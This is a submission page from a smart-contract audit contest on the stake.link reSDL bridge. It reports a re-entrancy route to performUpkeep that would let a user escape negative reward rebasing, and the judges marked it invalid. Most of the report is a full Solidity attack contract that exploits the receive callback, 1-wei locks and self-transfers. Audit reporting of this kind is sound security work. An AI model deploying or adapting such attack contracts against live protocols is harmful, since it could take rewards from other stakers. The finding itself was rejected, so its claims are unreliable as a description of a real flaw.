stake.link

stake.link
DeFiHardhatBridge
27,500 USDC
View results
Submission Details
Severity: medium
Invalid

Re-entrancy to performUpkeep in case of negative rebasing to escape reward negation

Summary

Re-entrancy to performUpkeep in case of negative rebasing to escape reward negation

Vulnerability Details

In case of negative rebasing malicious user can send its lock to another chain to escape rebasing.While reSDL bridge lets users to re-enter the transaction by paying native fee just slight higher amount.When user reenter the transaction by receive function to activate negative rebasing performUpkeep and send the lock with previous amount of lock amount and lock boost.Malicious user can keep track of rebasing by calling checkUpkeep function and commence the ccip sending and performUpkeep

Click to see Attack contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import{IERC677Receiver} from "../core/interfaces/IERC677Receiver.sol";
import{IERC721Receiver} from "../core/interfaces/IERC721Receiver.sol";
import{IERC677} from "../core/interfaces/IERC677.sol";
import{SDLPoolPrimary} from "../core/sdlPool/SDLPoolPrimary.sol";
import{RewardsInitiator} from "../core/RewardsInitiator.sol";
interface IRESDLTokenBridge{
function transferRESDL(
uint64 _destinationChainSelector,
address _receiver,
uint256 _tokenId,
bool _payNative,
uint256 _maxLINKFee
) external payable returns (bytes32 messageId);
}
contract Attacker is IERC677Receiver,IERC721Receiver{
struct Data {
address operator;
address from;
uint256 tokenId;
bytes data;
}
struct Lock {
uint256 amount;
uint256 boostAmount;
uint64 startTime;
uint64 duration;
uint64 expiry;
}
SDLPoolPrimary public sdlPool;
RewardsInitiator public rewardInitiator;
IRESDLTokenBridge public tokenBridge;
IERC677 public sdlToken;
uint256 public latestLockId;
uint256 public totalRewards;
Data[] private data;
bool public received;
constructor(address _sdlPool,address _tokenBridge,address _sdlToken,address _rewardsInitAddress)payable{
sdlPool=SDLPoolPrimary(_sdlPool);
tokenBridge=IRESDLTokenBridge(_tokenBridge);
sdlToken=IERC677(_sdlToken);
rewardInitiator=RewardsInitiator(_rewardsInitAddress);
}
function getData() external view returns (Data[] memory) {
return data;
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
data.push(Data(_operator, _from, _tokenId, _data));
received=true;
sdlPool.initiateUnlock(_tokenId);
/* uint256 effctiveBalance=sdlPool.effectiveBalanceOf(address(this));
sdlPool.withdraw(_tokenId,effctiveBalance); */
return this.onERC721Received.selector;
}
function attackTransfernCall() public payable{
//@audit there's no down-limit for the locks so malicous user can create nft only with 1 wei of sdlToken
sdlToken.transferAndCall(address(sdlPool),1 ,abi.encode(uint256(0), uint64(1)));
//sdlPool.initiateUnlock(getLockId());
//uint256 effctiveBalance=sdlPool.effectiveBalanceOf(address(this));
//sdlPool.withdraw(getLockId(),effctiveBalance );
}
function attackUpdateSame()public{
sdlToken.transferAndCall(address(sdlPool),1 ,abi.encode(getLockId(), uint64(1)));
}
function attackCcipTransfer() public payable{
tokenBridge.transferRESDL{value:15 ether}(77,address(this),getLockId(),true,15 ether);
}
//ı can transfer to myself and trigger the updatereward 2 times...
function transferToself()public{
sdlPool.safeTransferFrom(address(this),address(this),getLockId());
}
function onTokenTransfer(
address,
uint256 _value,
bytes calldata
) external virtual {
totalRewards += _value;
}
function getLockId()public view returns(uint256){
uint256[] memory lockIDs= new uint256[](1);
lockIDs=sdlPool.getLockIdsByOwner(address(this));
return lockIDs[0];
}
function getTotalRewards() public view returns(uint256){
return totalRewards;
}
receive() external payable{
if(msg.sender==address(tokenBridge)){
(bool Isneed,bytes memory stratId)=rewardInitiator.checkUpkeep("0x0");
if(Isneed) rewardInitiator.performUpkeep(stratId);
}
}
}

Impact

Loss of reward cause of user escapes reward rebasing

Tools Used

Hardhat-manuel review

Recommendation

checkUpkeep and performUpkeep should changed into access-controlled function as chainlink-keeper or onlyOwner

Updates

Lead Judging Commences

0kage Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Other
torpedopistolixc41 Submitter
almost 2 years ago
0kage Lead Judge
almost 2 years ago
0kage Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.